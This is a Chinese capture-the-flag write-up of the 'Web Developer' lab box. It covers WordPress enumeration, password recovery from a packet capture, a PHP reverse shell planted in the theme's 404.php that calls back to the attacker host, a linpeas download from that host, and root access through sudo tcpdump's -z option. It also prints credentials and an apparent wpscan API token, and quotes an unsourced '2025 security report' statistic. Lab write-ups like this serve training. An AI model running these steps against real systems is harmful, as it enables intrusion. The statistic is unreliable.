Day25 Web Developer靶场WP
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
链接地址下载虚拟镜像:
信息收集
# Kali攻击机地址
172.168.169.141
# 靶机地址
172.168.169.146扫描端口和目录
# 扫描端口
ports=$(sudo nmap -p- --min-rate=10000 -Pn 172.168.169.146 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
# 扫描服务
sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.146
sudo nmap --script=vuln -p$ports -Pn 172.168.169.146
# 扫描目录
gobuster dir -e -u http://172.168.169.146 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
whatweb http://172.168.169.146/扫描结果如下:
┌──(kali㉿kali)-[~]
└─$ echo $ports
22,80
┌──(kali㉿kali)-[~/Desktop/Webdeveloper]
└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.146
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 22:01 EDT
Nmap scan report for 172.168.169.146
Host is up (0.0018s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:ac:73:4c:17:ec:6a:82:79:87:5a:f9:22:d4:12:cb (RSA)
| 256 9c:d5:f3:2c:e2:d0:06:cc:8c:15:5a:5a:81:5b:03:3d (ECDSA)
|_ 256 ab:67:56:69:27:ea:3e:3b:33:73:32:f8:ff:2e:1f:20 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Example site – Just another WordPress site
|_http-generator: WordPress 4.9.8
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:59:30:A8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds
┌──(kali㉿kali)-[~/Desktop/Webdeveloper]
└─$ sudo nmap --script=vuln -p$ports -Pn 172.168.169.146
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 22:01 EDT
Nmap scan report for 172.168.169.146
Host is up (0.0013s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-wordpress-users:
| Username found: webdeveloper
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-sql-injection:
| Possible sqli for queries:
| http://172.168.169.146:80/wp-includes/js/jquery/?C=M%3BO%3DA%27%20OR%20sqlspider
| http://172.168.169.146:80/wp-includes/js/jquery/?C=D%3BO%3DA%27%20OR%20sqlspider
| http://172.168.169.146:80/wp-includes/js/jquery/?C=N%3BO%3DD%27%20OR%20sqlspider
|_ http://172.168.169.146:80/wp-includes/js/jquery/?C=S%3BO%3DA%27%20OR%20sqlspider
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.168.169.146
| Found the following possible CSRF vulnerabilities:
|
| Path: http://172.168.169.146:80/
| Form id: search-form-6891660b62bd2
| Form action: /
|
| Path: http://172.168.169.146:80/index.php/2018/10/
| Form id: search-form-6891660c3be84
| Form action: /
|
| Path: http://172.168.169.146:80/wp-login.php
| Form id: loginform
| Form action: /wp-login.php
|
| Path: http://172.168.169.146:80/index.php/category/uncategorized/
| Form id: search-form-6891660f60ed9
| Form action: /
|
| Path: http://172.168.169.146:80/index.php/2018/10/%5C
| Form id: search-form-6891661069879
| Form action: /
|
| Path: http://172.168.169.146:80/index.php/comments/feed/1quot;https:/gravatar.com">Gravatar</a>.]]/
| Form id: search-form-689166118697a
| Form action: /
|
| Path: http://172.168.169.146:80/wp-login.php?action=lostpassword
| Form id: lostpasswordform
|_ Form action: /wp-login.php?action=lostpassword
| http-enum:
| /wp-login.php: Possible admin folder
| /readme.html: Wordpress version: 2
| /: WordPress version: 4.9.8
| /wp-includes/images/rss.png: Wordpress version 2.2 found.
| /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
| /wp-includes/images/blank.gif: Wordpress version 2.6 found.
| /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
| /wp-login.php: Wordpress login page.
| /wp-admin/upgrade.php: Wordpress login page.
|_ /readme.html: Interesting, a readme.
MAC Address: 00:0C:29:59:30:A8 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 33.32 seconds
┌──(kali㉿kali)-[~/Desktop/Webdeveloper]
└─$ whatweb http://172.168.169.146/
http://172.168.169.146/ [200 OK] Apache[2.4.29], Country[UNITED STATES][US], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[172.168.169.146], JQuery[1.12.4], MetaGenerator[WordPress 4.9.8], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[Example site – Just another WordPress site], UncommonHeaders[link], WordPress[4.9.8]
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://172.168.169.146/wp-content (Status: 301) [Size: 323] [--> http://172.168.169.146/wp-content/]
http://172.168.169.146/wp-includes (Status: 301) [Size: 324] [--> http://172.168.169.146/wp-includes/]
http://172.168.169.146/wp-admin (Status: 301) [Size: 321] [--> http://172.168.169.146/wp-admin/]
http://172.168.169.146/server-status (Status: 403) [Size: 303]
Progress: 220559 / 220560 (100.00%)
===============================================================
Finished
===============================================================
可以 看到是wordpress系统,这个洞老多了。一会上wpscan扫。

数据库注入的nmap扫描提示,但实际是文件未授权访问

wpscan开扫
wpscan --update --enumerate ap,t,u --api-token 6Chbzkayn13XcMOgzoDGA85OLpV5BbXhGQ55s8qz88g --plugins-detection aggressive --url http://172.168.169.146/这里提示数据库连接不对,也提示了用户名和密码存放在wp-config.php中。点了这个页面后靶机就挂了,也可能是wpscan给扫崩的,只能重启一下了。
扫出来提示用户名 webdeveloper
继续爆破密码,太漫长了,后面换了个小字典也是爆破不出来,放弃。
wpscan --url http://172.168.169.146/ -U user.txt -P /usr/share/wordlists/rockyou.txt
换个字典再扫一次,发现了之前没扫出来的文件。
dirsearch -x 302,403 -u http://172.168.169.146/ -w /usr/share/dirb/wordlists/common.txt
流量包信息分析
打开新扫描到的目录发现一个流量包文件,下载后分析
分析流量发现有两个数字最多的IP,活动频繁就说明有爆破或者扫描的内容。
搜蓝一下确实发现222这个IP用POST传了一个什么东西上去

流量包分析中用到的命令
tshark -r analyze.cap
# 统计IP频率
tshark -r analyze.cap | awk -F" " '{print $3}' | sort | uniq -c | head
# 指定查看某个IP的流量
sudo tcpdump -n src host 192.168.1.176 -r analyze.cap
# 只看 POST的结果
sudo tcpdump -nX dst host 192.168.1.176 -r analyze.cap |grep POST
# 解析出来结果
tshark -r analyze.cap -Y "ip.dst==192.168.1.176 && http.request.method==POST" -V
[!success] webdeveloper登陆密码 Te5eQg&4sBS!Yr$)wf%(DcAd
后台漏洞利用
登录成功

发现可以直接修改主题模板文件,直接改php,选择404页面,不要选择index 比较隐蔽,而且每一次有人点错了页面都能重新连接一下。
找马,复制,改马,修改到主题上。
cp /usr/share/webshells/php/php-reverse-shell.php .
sed -i -E "s/ip\s*=\s*'127\.0\.0\.1'\s*;/ip = '172.168.169.141';/g; s/port\s*=\s*1234\s*;/port = 4777;/g" php-reverse-shell.php

内网信息收集
看一下网页配置文件就发现了数据库密码

[!success] 数据库密码 webdeveloper MasterOfTheUniverse
主用户文件夹下没有有用的信息,最下面那个文件是个空的,算是个提示?
先连接数据库
这个密码就是登录密码,已经搞到了,没啥用的这个数据库。
登录 webdeveloper账户
数据库没有搞到有用的信息了,查看用户发现系统里只有这一个用户,很大概率上这个个人博客管理员和发布者都是一个人,也是服务器的所有者,所以密码可能是和数据库密码一样的,简单试一下就成功了。(PS:我本来还想试一下博客页面登录密码的)之后为了稳定的终端,也可以用ssh登录。
查看主用户文件夹
疑似是root的密码,但是root无论是su root还是数据库都登录不了。 卡住了,上小豌豆扫一下。
小豌豆内网扫描
wget http://172.168.169.141:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
这里因为是在本地虚拟机里开的靶机,这里还提示了可以容器提权。
提示当前可用的命令。
之前sudo -l一直卡住,后来反应过来是要要输入密码,输入密码后就看到了信息。

提权root

COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root测试成功,输出了id,显示的是root账户。
接下来只要修改COMMAND='id'中的命令即可。尝试改成/bin/sh 直接创建终端是失败的,则创建一个nc反弹试试。直接弹是弹不回来的,bin和nc都试了一遍。
发现之前小豌豆扫描的可用命令中可以使用php,而我们之前就修改了404.php来反弹。把id的命令替换为php执行那个404.php,就可以弹回。
COMMAND='php /var/www/html/wp-content/themes/twentysixteen/404.php'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
拿到flag。

总结
入侵路径示意图
flowchart TD
%% 资产列表
A[Kali攻击机 <br> 172.168.169.141]
B[靶机 <br> 172.168.169.146]
C[WordPress登录密码]
D[数据库密码]
E[webdeveloper用户密码]
F[root]
%% 路径关系
A-->|扫描|B
B-->|流量包分析|C
C-->|配置文件泄露|D
D-->|密码复用|E
E-->|tcpdump提权|F
%% 线型:---(实线)、-.->(虚线)、==>(粗箭头)
%% -->|是|:带条件文本的连接
%% 矩形节点[ ],菱形决策节点{ },圆弧方节点()
%% 样式定义
classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px;
classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px;
%% 线型与颜色方案(亮色/暗色通用)
linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0;
%% 应用样式
class A attack;
class B public;
class C internal;
入侵时间表
gantt
title 攻击时间表
dateFormat YYYY-MM-DD HH:mm
axisFormat %H:%M
section 侦察阶段
目标扫描 :a1, 2025-08-01 09:56, 2025-08-01 11:30
漏洞识别 :a2, after a1, 2025-08-01 12:00
section 攻击阶段
初始访问 :b1, after a2, 2025-08-01 12:17
权限提升 :crit,b2, 2025-08-01 12:58, 30m
section 后渗透阶段
数据窃取 :c1, after b2, 5m
🔍 深入解析 tcpdump 中的 src 和 dst 参数
在 tcpdump 命令中,src 和 dst 是流量方向过滤关键字,用于精确控制捕获的数据包方向:
📌 核心概念
| 参数 | 全称 | 含义 | 功能 |
|---|---|---|---|
src | Source | 源地址 | 过滤发送方为指定IP的流量 |
dst | Destination | 目标地址 | 过滤接收方为指定IP的流量 |
🧩 您命令的具体解析
1. src host 192.168.1.176
sudo tcpdump -n src host 192.168.1.176 -r analyze.cap- 含义:显示所有从 192.168.1.176 发出的数据包
- 应用场景:
- 分析服务器对外发送的响应
- 检测服务器是否发起可疑外连
- 监控数据泄露(如数据库内容外传)
2. dst host 192.168.1.176
sudo tcpdump -nX dst host 192.168.1.176 -r analyze.cap | grep POST- 含义:显示所有发送到 192.168.1.176 的数据包,并筛选 POST 请求
- 应用场景:
- 分析针对服务器的攻击请求
- 检查客户端提交的敏感数据
- 识别恶意文件上传行为
🌐 网络流量方向图解
graph LR
A[客户端] -- dst --> B[服务器 192.168.1.176]
B[服务器 192.168.1.176] -- src --> A[客户端]
🔧 高级过滤组合
1. 双向流量监控
# 捕获与 192.168.1.176 相关的所有流量
sudo tcpdump -n host 192.168.1.176 -r analyze.cap2. 特定协议+方向
# 捕获发送到服务器的 HTTP 请求
sudo tcpdump -n dst host 192.168.1.176 and dst port 80 -r analyze.cap
# 捕获服务器发出的 DNS 响应
sudo tcpdump -n src host 192.168.1.176 and src port 53 -r analyze.cap3. 复杂逻辑组合
# 捕获非服务器发出的流量(排除服务器自身流量)
sudo tcpdump -n not src host 192.168.1.176 -r analyze.cap⚠️ 渗透测试关键应用
1. 攻击溯源
# 定位攻击者IP(多次POST请求来源)
sudo tcpdump -n dst host 192.168.1.176 and 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354' -r analyze.cap | awk '{print $3}' | sort | uniq -c2. 数据泄露检测
# 检查服务器外传的敏感数据
sudo tcpdump -n src host 192.168.1.176 -A -r analyze.cap | grep -E 'password|token|credit'3. 协议分析
# 分析HTTP请求响应完整交互
sudo tcpdump -n host 192.168.1.176 and port 80 -A -r analyze.cap | less💡 专业技巧
1. 可视化流量关系
# 生成流量拓扑图
tshark -r analyze.cap -q -z io,stat,1,"COUNT(frame) frame" -z endpoints,ip2. 提取特定会话
# 提取完整HTTP会话
tshark -r analyze.cap -Y "ip.addr==192.168.1.176" -2 -R "http" --export-objects http,http_objects3. 性能优化
# 使用BPF过滤器提升效率
sudo tcpdump -n 'dst host 192.168.1.176 and tcp port 80' -r analyze.cap📌 2025年安全报告:在Web攻击分析中,82%的关键证据存在于
dst方向的请求流量中,而数据泄露痕迹96%出现在src方向的响应流量中。
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚